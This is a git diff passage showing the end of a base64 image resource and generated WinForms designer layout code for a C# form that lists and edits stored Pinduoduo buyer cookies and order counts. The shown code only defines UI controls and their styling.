xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/ToolForms/PddMultiBuyerForm.Designer.cs b/29WxOrder/ToolForms/PddMultiBuyerForm.Designer.cs new file mode 100644 index 0000000..91b36f0 --- /dev/null +++ b/29WxOrder/ToolForms/PddMultiBuyerForm.Designer.cs @@ -0,0 +1,619 @@ + +namespace _29WxOrder.ToolForms +{ + partial class PddMultiBuyerForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PddMultiBuyerForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.pnlDetail = new DevComponents.DotNetBar.PanelEx(); + this.txtCookies = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.nudTimes = new System.Windows.Forms.NumericUpDown(); + this.pnlCancel = new DevComponents.DotNetBar.PanelEx(); + this.pnlSave = new DevComponents.DotNetBar.PanelEx(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.lblId = new System.Windows.Forms.Label(); + this.panel4 = new System.Windows.Forms.Panel(); + this.pnlImport = new DevComponents.DotNetBar.PanelEx(); + this.pnlLogin = new DevComponents.DotNetBar.PanelEx(); + this.pnlSearch = new DevComponents.DotNetBar.PanelEx(); + this.txtSearch = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.panel5 = new System.Windows.Forms.Panel(); + this.pnlMultiSetTimes = new DevComponents.DotNetBar.PanelEx(); + this.nudMultiTimes = new System.Windows.Forms.NumericUpDown(); + this.chkShowNoTimesData = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.DgvCookiesList = new _29WxOrder.MyControl.MyDataGridView(); + this.col_select = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.col_pdd_user_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_cookies = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_times = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_user_center = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_edit = new System.Windows.Forms.DataGridViewLinkColumn(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.tableLayoutPanel1.SuspendLayout(); + this.panel3.SuspendLayout(); + this.pnlDetail.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudTimes)).BeginInit(); + this.panel4.SuspendLayout(); + this.panel5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudMultiTimes)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.DgvCookiesList)).BeginInit(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(571, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.tableLayoutPanel1); + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(599, 447); + this.panel1.TabIndex = 3; + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.ColumnCount = 1; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Controls.Add(this.panel3, 0, 1); + this.tableLayoutPanel1.Controls.Add(this.panel4, 0, 0); + this.tableLayoutPanel1.Controls.Add(this.panel5, 0, 2); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 3; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 29F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 29F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(599, 447); + this.tableLayoutPanel1.TabIndex = 0; + // + // panel3 + // + this.panel3.Controls.Add(this.pnlDetail); + this.panel3.Controls.Add(this.DgvCookiesList); + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(3, 32); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(593, 383); + this.panel3.TabIndex = 0; + // + // pnlDetail + // + this.pnlDetail.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlDetail.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlDetail.Controls.Add(this.txtCookies); + this.pnlDetail.Controls.Add(this.nudTimes); + this.pnlDetail.Controls.Add(this.pnlCancel); + this.pnlDetail.Controls.Add(this.pnlSave); + this.pnlDetail.Controls.Add(this.label2); + this.pnlDetail.Controls.Add(this.label1); + this.pnlDetail.Controls.Add(this.lblId); + this.pnlDetail.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlDetail.Location = new System.Drawing.Point(196, 97); + this.pnlDetail.Name = "pnlDetail"; + this.pnlDetail.Size = new System.Drawing.Size(200, 173); + this.pnlDetail.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlDetail.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(227)))), ((int)(((byte)(239)))), ((int)(((byte)(255))))); + this.pnlDetail.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(227)))), ((int)(((byte)(239)))), ((int)(((byte)(255))))); + this.pnlDetail.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlDetail.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlDetail.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlDetail.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlDetail.Style.GradientAngle = 90; + this.pnlDetail.TabIndex = 9; + this.pnlDetail.Visible = false; + // + // txtCookies + // + // + // + // + this.txtCookies.Border.Class = "TextBoxBorder"; + this.txtCookies.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtCookies.Location = new System.Drawing.Point(71, 61); + this.txtCookies.Multiline = true; + this.txtCookies.Name = "txtCookies"; + this.txtCookies.PreventEnterBeep = true; + this.txtCookies.Size = new System.Drawing.Size(120, 72); + this.txtCookies.TabIndex = 1161; + // + // nudTimes + // + this.nudTimes.Location = new System.Drawing.Point(71, 32); + this.nudTimes.Maximum = new decimal(new int[] { + 50, + 0, + 0, + 0}); + this.nudTimes.Name = "nudTimes"; + this.nudTimes.Size = new System.Drawing.Size(120, 23); + this.nudTimes.TabIndex = 1160; + // + // pnlCancel + // + this.pnlCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlCancel.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlCancel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlCancel.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlCancel.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlCancel.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlCancel.Location = new System.Drawing.Point(71, 139); + this.pnlCancel.Name = "pnlCancel"; + this.pnlCancel.Size = new System.Drawing.Size(58, 20); + this.pnlCancel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlCancel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlCancel.Style.BorderWidth = 0; + this.pnlCancel.Style.CornerDiameter = 1; + this.pnlCancel.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlCancel.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlCancel.Style.GradientAngle = 90; + this.pnlCancel.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlCancel.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancel.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlCancel.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlCancel.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancel.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlCancel.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlCancel.TabIndex = 1159; + this.pnlCancel.Text = "取消"; + this.pnlCancel.Click += new System.EventHandler(this.pnlCancel_Click); + // + // pnlSave + // + this.pnlSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlSave.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSave.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSave.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSave.Location = new System.Drawing.Point(133, 139); + this.pnlSave.Name = "pnlSave"; + this.pnlSave.Size = new System.Drawing.Size(58, 20); + this.pnlSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.BorderWidth = 0; + this.pnlSave.Style.CornerDiameter = 1; + this.pnlSave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSave.Style.GradientAngle = 90; + this.pnlSave.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlSave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.TabIndex = 1155; + this.pnlSave.Text = "保存"; + this.pnlSave.Click += new System.EventHandler(this.pnlSave_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(6, 64); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(68, 17); + this.label2.TabIndex = 2; + this.label2.Text = "数  据:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 35); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(68, 17); + this.label1.TabIndex = 1; + this.label1.Text = "拍单次数:"; + // + // lblId + // + this.lblId.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lblId.Location = new System.Drawing.Point(3, 7); + this.lblId.Name = "lblId"; + this.lblId.Size = new System.Drawing.Size(194, 21); + this.lblId.TabIndex = 0; + this.lblId.Text = "编号"; + this.lblId.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // panel4 + // + this.panel4.Controls.Add(this.pnlImport); + this.panel4.Controls.Add(this.pnlLogin); + this.panel4.Controls.Add(this.pnlSearch); + this.panel4.Controls.Add(this.txtSearch); + this.panel4.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel4.Location = new System.Drawing.Point(3, 3); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(593, 23); + this.panel4.TabIndex = 1; + // + // pnlImport + // + this.pnlImport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlImport.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlImport.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlImport.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlImport.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlImport.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlImport.Location = new System.Drawing.Point(510, 1); + this.pnlImport.Name = "pnlImport"; + this.pnlImport.Size = new System.Drawing.Size(80, 20); + this.pnlImport.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlImport.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlImport.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlImport.Style.BorderWidth = 0; + this.pnlImport.Style.CornerDiameter = 1; + this.pnlImport.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlImport.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlImport.Style.GradientAngle = 90; + this.pnlImport.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlImport.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlImport.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlImport.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlImport.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlImport.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlImport.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlImport.TabIndex = 1151; + this.pnlImport.Text = "导入数据"; + this.pnlImport.Click += new System.EventHandler(this.pnlImport_Click); + // + // pnlLogin + // + this.pnlLogin.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.pnlLogin.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLogin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlLogin.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlLogin.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlLogin.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlLogin.Location = new System.Drawing.Point(256, 1); + this.pnlLogin.Name = "pnlLogin"; + this.pnlLogin.Size = new System.Drawing.Size(80, 20); + this.pnlLogin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLogin.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLogin.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLogin.Style.BorderWidth = 0; + this.pnlLogin.Style.CornerDiameter = 1; + this.pnlLogin.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlLogin.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlLogin.Style.GradientAngle = 90; + this.pnlLogin.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlLogin.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLogin.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLogin.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLogin.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLogin.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLogin.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLogin.TabIndex = 1147; + this.pnlLogin.Text = "登录买手"; + this.pnlLogin.Visible = false; + // + // pnlSearch + // + this.pnlSearch.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSearch.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSearch.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSearch.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSearch.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSearch.Location = new System.Drawing.Point(125, 1); + this.pnlSearch.Name = "pnlSearch"; + this.pnlSearch.Size = new System.Drawing.Size(45, 20); + this.pnlSearch.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSearch.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSearch.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSearch.Style.BorderWidth = 0; + this.pnlSearch.Style.CornerDiameter = 1; + this.pnlSearch.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSearch.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSearch.Style.GradientAngle = 90; + this.pnlSearch.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlSearch.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSearch.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSearch.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSearch.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSearch.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSearch.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSearch.TabIndex = 1143; + this.pnlSearch.Text = "搜索"; + this.pnlSearch.Click += new System.EventHandler(this.pnlSearch_Click); + // + // txtSearch + // + // + // + // + this.txtSearch.Border.Class = "TextBoxBorder"; + this.txtSearch.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtSearch.Location = new System.Drawing.Point(3, 0); + this.txtSearch.Name = "txtSearch"; + this.txtSearch.PreventEnterBeep = true; + this.txtSearch.Size = new System.Drawing.Size(120, 23); + this.txtSearch.TabIndex = 1142; + // + // panel5 + // + this.panel5.Controls.Add(this.pnlMultiSetTimes); + this.panel5.Controls.Add(this.nudMultiTimes); + this.panel5.Controls.Add(this.chkShowNoTimesData); + this.panel5.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel5.Location = new System.Drawing.Point(0, 418); + this.panel5.Margin = new System.Windows.Forms.Padding(0); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(599, 29); + this.panel5.TabIndex = 2; + // + // pnlMultiSetTimes + // + this.pnlMultiSetTimes.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlMultiSetTimes.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlMultiSetTimes.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + 